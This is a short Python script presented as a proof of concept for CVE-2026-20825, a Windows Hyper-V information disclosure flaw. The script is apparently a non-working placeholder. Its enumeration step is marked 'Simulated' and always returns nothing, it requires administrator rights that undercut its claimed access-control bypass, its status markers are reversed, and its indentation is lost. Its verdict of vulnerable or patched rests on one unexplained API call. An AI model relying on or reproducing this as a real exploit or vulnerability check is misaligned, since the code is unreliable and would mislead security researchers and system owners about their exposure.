The following code is for security research and authorized testing only.
python
# CVE-2026-20825 Windows Hyper-V Information Disclosure PoC
# Note: This PoC is for educational and security research purposes only
# Unauthorized access to computer systems is illegal
import ctypes
import sys
from ctypes import wintypes
# Windows API definitions
class HYPERVISOR_ACCESS_CTX(ctypes.Structure):
_fields_ = [
("Version", wintypes.DWORD),
("Flags", wintypes.DWORD),
]
def check_hyperv_access():
"""
Check if the current process has proper Hyper-V access control validation
This demonstrates the improper access control vulnerability
"""
try:
# Attempt to access Hyper-V management interface
# In vulnerable versions, access control checks may be bypassed
# Load Hyper-V related DLL
hvm = ctypes.windll.LoadLibrary("vmcompute.dll")
# Get Hyper-V access context
ctx = HYPERVISOR_ACCESS_CTX()
ctx.Version = 1
ctx.Flags = 0
# This call demonstrates improper access control
# In vulnerable versions, it may return success even without proper authorization
result = hvm.HvGetAccessControlContext(ctypes.byref(ctx))
if result == 0:
print("[-] Access control check passed (potential vulnerability)")
return True
else:
print("[+] Access properly denied")
return False
except Exception as e:
print(f"[!] Error: {e}")
return None
def enumerate_vm_resources():
"""
Enumerate VM resources - demonstrates information disclosure
"""
try:
# Code to enumerate VM configurations and sensitive data
# This would expose information that should be protected
print("[*] Attempting to enumerate VM resources...")
# Simulated resource access
vm_list = []
# In vulnerable version, we might retrieve VM configurations
# that should require higher privileges to access
return vm_list
except Exception as e:
print(f"[!] Enumeration failed: {e}")
return []
def main():
print("=" * 60)
print("CVE-2026-20825 PoC - Windows Hyper-V Information Disclosure")
print("=" * 60)
# Check if running with elevated privileges
if not ctypes.windll.shell32.IsUserAnAdmin():
print("[!] This PoC requires administrator privileges")
print("[!] Please run as administrator")
return
print("[*] Running with elevated privileges")
print("[*] Checking Hyper-V access control...")
# Check for vulnerability
is_vulnerable = check_hyperv_access()
if is_vulnerable:
print("[!] System may be vulnerable to CVE-2026-20825")
print("[*] Attempting resource enumeration...")
resources = enumerate_vm_resources()
print(f"[*] Found {len(resources)} VM resources")
else:
print("[+] System appears to be patched")
if __name__ == "__main__":
main()